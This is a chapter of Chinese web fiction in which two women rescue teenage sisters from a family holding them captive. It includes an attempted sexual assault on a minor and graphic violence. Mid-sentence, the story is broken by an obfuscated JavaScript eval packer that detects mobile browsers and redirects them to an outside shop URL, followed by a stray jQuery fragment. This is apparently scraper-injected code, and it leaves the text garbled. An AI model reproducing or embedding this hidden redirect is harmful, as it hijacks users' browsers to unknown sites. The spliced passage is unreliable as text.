君若琳看着空中正在消散的光,伸了伸手,又放了下来。
舒霁不知何时走到她身后,没有说话,只是把外套脱下来,搭在她肩上。夜风凉,君若琳的手指却比风还凉。
"对她来说,这个结局是好的。"舒霁的声音很轻,像是怕惊散那最后一缕光。
君若琳扯了扯嘴角,没笑出来:"封建时代出了女将军,新时代的封建思想倒还活得好好的。"
舒霁沉默了一会儿,说:"所以才需要你这样的人。"
君若琳偏头看他。舒霁不擅长说漂亮话,这句却恰好落在她心里最软的地方。她没接话,只是把外套往身上裹了裹。
"五点半了,走吧。"舒霁揉了揉她的头,"她们该等急了。"
————
两姐妹偷偷溜回了家。
"姐,我们一来一回才十多分钟,他们怎么这么快就没影了?"宋淮远压低声音,眼里全是不安。
"先找天赐。"宋淮云径直走向弟弟的房间。
门一开,马天赐正抱着糖罐缩在床角,看见她们,眼睛一下子亮了:"姐姐!吃糖……别、别丢下我。"
"天赐!"淮远扑过去抱住他。
宋淮云蹲下来,平视着弟弟的眼睛。她的声音放得很慢,像在交代一件很重要的事:"天赐,姐姐们要出一趟远门,很久才能回来。你乖乖的,等我们攒够了钱,就来接你。"
"婆婆爷爷说的话,别全听。"她摸了摸弟弟的头,"你做自己就好,不用变成他们想要的样子。知道了吗?"
天赐似懂非懂地点头,把一颗糖塞进她手心。
淮远摸着发烫的脸颊,小声嘟囔:"姐……刚才你为什么打我啊,在恩人面前好丢脸。"
宋淮云看了她一眼,语气严肃:"你先想想你说的话过没过脑子。她是好心人,不是我们的监护人,不该替我们担这些。"
淮远瘪了瘪嘴,没再说话。
“啊——姐姐!”马天赐突然惊叫一声。
————
石板路上,君若琳看了一眼时间。
五点五十九。
"不对。"她脸色一变,转身就往回跑。舒霁紧随其后,已经掏出了手机。
————
宋淮云是被冷醒的。
后脑勺钝痛,眼前一片漆黑。她摸索着,指尖触到另一只温热的手——是淮远,还在昏睡。
"淮远!醒醒!"她剧烈地摇晃妹妹。
"姐……我们在哪儿?"
"不知道,但肯定是最糟的情况。"宋淮云强迫自己冷静,"别开灯,摸黑走。"
两人扶着墙挪进一个房间,指尖触到木质柜门。"粮仓。"淮远说,"姐,我们一人藏一个柜子吧?"
"不行。"宋淮云立刻否决,"换了你是他,第一个找的就是柜子。跟我来。"
她拉着妹妹摸进里间——有床,有衣柜,是卧室。
"你去床底,最里面,别出声。我去衣柜。"宋淮云把妹妹推进床底,自己钻进衣柜最深处。营养不良此刻成了优势,她缩成一团,用发霉的棉袄盖住自己。
吱呀——
刚藏好,门开了。
————
君若琳和舒霁冲进那户人家的院子。
院子里没人。隔壁堂屋灯火通明,麻将碰撞的声音噼里啪啦,老女人正站在牌桌旁磕瓜子。
君若琳几步跨进去,一只手按在老女人肩上。
"宋淮云、宋淮远,人呢?"
老女人头都没回:"唉唉——这手打得不错,老头子。"
"我问你,她们人呢?"君若琳的手指收紧。
"哎呀哎呀,没看到我正打麻将吗?"老女人甩开她的手,磕了一颗瓜子,皮都没吐干净,"人不是被你们带走了吗?"
“别给我装傻。”
“呵忒——”老女人吐了一口瓜子刚好吐在了君若琳的鞋子上,白花花一片。
“哎哎哎老头子,出这个啊!”
舒霁走到老女人另一侧,手搭在她肩上,慢慢加力。老女人脸上的笑僵住了,肩膀扭动了两下,没挣开。
"我再问你一遍。"君若琳的声音不高,每个字像钉子钉在地上,"她们在哪。"
"哎哟哎哟老头子胡啦!你们又都输喽!"老女人忽然拔高声音,冲着牌桌嚷嚷,然后慢悠悠转过头,"哦,你刚才说啥来着?"
君若琳盯着她,一字一句:"私自囚禁、拐卖未成年人,你犯法了。"
"哦~犯法啊~"老女人拖长了腔调,忽然啐了一口,"上了床就已经是别人婆娘咯——犯什么法?"
君若琳的瞳孔猛缩。
牌桌旁的五六个男人陆续站了起来,把门口堵得严严实实。有人手里还攥着麻将牌,有人抄起了板凳。
老女人磕着瓜子,斜着眼看她:"哟,想走啊?"
————
"嘿嘿嘿——"
衣柜外传来男人的声音,枯槁得像风吹干的树枝。
"耶?人呢……?"
哒——哒——哒——
脚步声在房间里慢慢踱着。
"哦~我知道了,是想跟我玩捉迷藏吧~嘿嘿嘿。"
"是不是在这里呀——!"
柜门被拍了一下。宋淮云浑身一震,死死捂住嘴巴。
"玩游戏适度是情趣,不要太过了哦——"
声音就在衣柜外,很近。
"我说不要过了!给老子出来!"
砰——!什么东西砸在了柜门上。
"妈的,怎么不在这里。难不成~在卧室?"
脚步声朝这边来了。
哒——哒——哒——
"让开。"君若琳看着堵在门口的男人们,声音冷得像冰。
没人动。一个剃光头的男人咧嘴笑了,露出一口黄牙:"小娘们儿,来都来了,不玩两把?"
他伸手来抓君若琳的手腕。
君若琳没躲。她反手扣住对方的手指,向上一掰——
咔嚓。
骨头断裂的声音清脆得像掰断一根筷子。光头男人的惨叫还没出口,君若琳已经松手,侧身让过他扑过来的身体,顺手在他后颈上劈了一掌。
人软下去,像一袋湿水泥。
另外三个人同时扑上来。
舒霁左脚蹬地,整个人像一支离弦的箭撞进人群。肘击命中第一个人的咽喉,对方弯下腰的瞬间,她膝盖已经顶在了他脸上。第二个人的板凳还没挥起来,手腕就被她攥住,向内一拧,板凳脱手,砸在第三个人的脚背上。
三秒。
三个人全倒在了地上,呻吟声此起彼伏。
剩下两个人对视一眼,腿都软了,贴着墙根往后挪。
君若琳转过身,一步步走向老女人。
老女人脸上的瓜子皮还挂着,笑已经没了。她下意识地往后退,膝盖撞上了牌桌,麻将牌哗啦啦撒了一地。
"你……你别过来!"
君若琳站在她面前,低头看着她。她的眼睛很平静,平静得让老女人头皮发麻。
"我最后问一次。"君若琳说,"她们在哪。"
老女人的嘴唇哆嗦着,眼神飘忽。
君若琳抬起手。老女人吓得一缩脖子,以为要挨打——但君若琳只是从她口袋里抽出了手机,举到她面前。
"你现在说,我当你是自首。"君若琳的声音没有一丝波澜,"你不说,我报警,警察来挖。到时候你不光是拐卖,还有包庇、作伪证。你那老头子的胡牌手气,可救不了你。"
舒霁已经在拨110了,他一边跟电话那头报地址,一边跟上。
"在这里吗?"
吱呀——砰!
隔壁的衣柜被踹开。
"难不成——在这里!"
吱呀——
光从门缝里漏进来,一寸一寸舔过衣柜里的衣服。宋淮云缩在最里侧,用发霉的棉袄盖住自己,连呼吸都咽了回去。
男人的脸出现在柜门缝里。一只浑浊的、布满血丝的眼珠,在黑暗里慢慢转动。胡茬像砂纸,嘴角挂着亮晶晶的涎液。
那只眼睛停住了。直直地看着她。
"找——到——你——啦——"
柜门被猛地拽开。枯树枝一样的手攥住她的脚踝,指甲嵌进皮肉。
"啊啊啊啊啊——!!"
她被拖出衣柜,后背蹭过柜门边框,蹭掉一层皮。碎石和土块嵌进后背的皮肉里,她咬着牙,眼睛死死盯着床底——
床底的黑暗中,有一双眼睛。淮远趴在最深处,双手捂着嘴,瞳孔剧烈颤抖,连呼吸都忘了。
宋淮云看着她,嘴唇动了动。
别出来。
然后她被扔到了床上。
床板吱呀作响。她撑着胳膊往后缩,后背蹭着粗糙的床单,每一下都像被砂纸刮过。男人站在床边,急不可耐地解裤腰带,解不开,干脆用扯的。
宋淮云的手往床头摸——那里有一把剪刀,缝被子留下的。指尖离剪刀还有一掌远……一尺远……一臂远……
够不着。
男人扑了上来,撕扯她的衣服。
"不要……不要!不要啊啊啊啊——!!!"
——砰!
身上的重量骤然消失。
像棒球棍命中本垒的声音。紧接着是重物撞墙的闷哼,和什么东西碎裂的咔嗒声。
宋淮云颤抖着睁开眼。
逆光里,一抹粉绿色撞碎了满室的黑暗。
君若琳站在床边,额前刘海被汗湿,下颌线绷得凌厉。她保持着一个侧踢的收势——那条白嫩的腿还没完全落下,鞋尖上沾着一点血。
墙角的男人蜷缩成一团,捂着小腹,嘴里发出漏气般的嗬嗬声,整个人像一只被踩扁的蟑螂。
君若琳没看他。她几步跨到床边,蹲下身,周身的戾气像退潮一样敛去。她伸手,指尖轻轻拂过宋淮云凌乱的发梢。
"看着我。"她的声音很稳,"宋淮云,看着我。"
宋淮云的目光涣散,好半天才聚焦在她脸上。
"我在。"君若琳说,"没事了。"
她脱下自己的外套,裹在宋淮云身上,把拉链一直拉到下巴。动作很轻,像在包一件易碎的东西。
"闭上眼睛。"她的掌心覆上宋淮云的眼,"剩下的,不要看。"
黑暗隔绝了满室狼藉,但声音还在——
"玛德,臭娘们儿……"男人捂着小腹,挣扎着站起来,从怀里摸出一把刀,"老子弄死你!"
刀光扑过来。
君若琳甚至没起身。她微微偏头,避开刀锋,左手精准地扣住男人的手腕,向内一拧——
咔嚓。
刀掉在地上。男人惨叫着跪下去。
君若琳这才站起来。她低头看着跪在地上的男人,眼神平静得可怕。
"你知道她今年多大吗?"
男人喘着粗气,抬头瞪她。
"十六。"君若琳说,每个字都像冰锥,"你刚才想做的事,够你在牢里待一辈子。"
她抬起脚,踩在男人的肩膀上,慢慢加力。男人的脸被挤在地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17878344|212425||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
上,嘴唇蹭着泥土,发出含混的呜咽。
"但我不会让你有机会等到那一天。"
她的脚微微一碾。男人的肩关节发出令人牙酸的错位声,惨叫戛然而止,整个人像一摊烂泥软了下去。
君若琳收回脚,嫌恶地在地板上蹭了蹭鞋底。
刚要走,却又转过头来,用脚把那个男人翻了个面,粗高跟毫不犹豫地踩了下去。
“啊啊啊啊啊啊————!”
“别再想作案了。”
"若琳。"
舒霁的声音从门口传来。她站在那里,手里拿着手机,屏幕亮着——通话界面,备注是"110"。
"警察五分钟到。"她的目光扫过地上的男人,又落在君若琳身上,语气很淡,"够了。"
君若琳看了他一眼,胸口剧烈起伏了几下,最终点了点头。
舒霁走过来,先看了看宋淮云的状况,然后从背包里拿出一瓶水,拧开盖子,递到她嘴边:"喝一口,慢慢的。"
宋淮云机械地喝了一口,水顺着嘴角流下来。舒霁用纸巾轻轻擦掉,动作自然得像在照顾自己的妹妹。
"我妹妹……"宋淮云忽然想起什么,声音发抖,"我妹妹在床底下……"
君若琳偏头朝床底抬了抬下颌。
小小的身影从床板下连滚带爬地冲出来。淮远的脸涨得通红,眼泪混着灰尘糊了满脸,手里死死攥着一块碎玻璃——她不知道什么时候摸的,指腹被割破了,血顺着手腕往下淌,她自己却浑然不觉。
"姐!姐!"她扑到宋淮云身边,哭得喘不上气。
宋淮云抱住妹妹,嘴唇哆嗦着,半天说不出话。
君若琳蹲下来,看着淮远流血的手。她没有直接去夺那块碎玻璃,而是轻声说:"淮远,你手里的东西,可以给我吗?"
淮远愣住了,下意识地攥紧。
"你姐姐需要你抱着她。"君若琳的声音很柔,"你的手在流血,会弄脏她的衣服。"
淮远低头看了看自己的手,又看了看姐姐,终于松开了手指。碎玻璃掉在地上,发出清脆的一响。
君若琳接过玻璃,放在身后够不着的地方,然后用纱布仔细包扎淮远的手。她的动作很慢,每绕一圈都轻声说一句:"你很勇敢。"
"你躲在床底下,没有出声,没有冲出来——你知道吗?你救了你姐姐。"
淮远的哭声停了。她抬起泪汪汪的眼睛,看着君若琳。
"如果你冲出来,他会抓住你,你姐姐就会分心。"君若琳系好纱布,看着她的眼睛,"你忍住了。你比你想象的要勇敢得多。"
淮远的嘴唇抖了抖,忽然扑进君若琳怀里,嚎啕大哭。
君若琳没有说话,只是一下一下拍着她的背。
宋淮云靠在沙发上,裹着君若琳的外套,看着这一幕。她的指尖还在微微发抖,但眼神已经慢慢聚拢了。
"姐姐。"她忽然开口,声音很哑,"他……他以后还会出来吗?"
君若琳抬起头,看着她。
"不会。"舒霁接过话,语气平静却笃定,"拐卖、□□未遂、非法拘禁,数罪并罚。他这辈子,出不来了。"
宋淮云的眼泪终于掉了下来。她用手背胡乱地擦,越擦越多,最后索性把脸埋进膝盖里,肩膀一抽一抽的。
君若琳走过去,在她身边坐下,没有说话,只是把她的头轻轻按在自己肩上。
窗外,风穿过竹林,沙沙作响,像一声长长的叹气。
远处传来警笛声,由远及近。
宋淮云在君若琳肩上哭了很久,哭到声音都哑了,才慢慢停下来。她抬起头,眼睛红肿,却第一次敢直视君若琳的脸。
"姐姐……"她的声音很轻,"我刚才……我刚才觉得自己脏了。"
君若琳看着她,目光认真得像在对待一件极重要的事。
"宋淮云,你听好。"她捧起女孩的脸,让她看着自己,"被撕扯的是衣服,不是你。被弄脏的是这个房间,是那个人,不是你。"
"你从头到尾,都在保护妹妹,都在想办法,都没有放弃。"君若琳的拇指擦去她脸上的泪痕,"你很干净。干净得像今天早上的露水。"
宋淮云的嘴唇颤抖着,眼泪又涌了出来,但这一次,她没有躲开目光。
"记住今天。"君若琳说,"不是记住恐惧,是记住——你活下来了。你从地狱里走出来了。以后不管遇到什么,你都可以告诉自己:那天那么难,我都过来了。"
她笑了笑,眼角却有泪光:"这不是你的伤疤,这是你的勋章。"
宋淮云看着她,忽然用力点了点头。
警笛声在院门外停住。脚步声、人声、对讲机的电流声混杂在一起,由远及近。
舒霁站起来,走到门口,对进来的警察低声交代着什么。他的声音不高,条理清晰,时间、地点、人物、罪名,一句废话都没有。
君若琳扶着两姐妹站起来。
"走吧。"她说,"外面有太阳。"
宋淮云被她牵着,一步一步走出那间黑暗的屋子。天已经蒙蒙亮了,晨光刺得她眯起眼,她下意识地抬手去挡——
君若琳的手覆在她手上,轻轻放了下来。
"别怕。"她说,"太阳是暖的。"
宋淮云睁开眼。
阳光落在她脸上,暖融融的,像一只温柔的手。
她忽然想起秦良玉。
那个守了三百年的将军,最后也是这样,化成了山风,化成了晨光,化成了每一个被伤害的女孩头顶上,那片不会塌下来的天。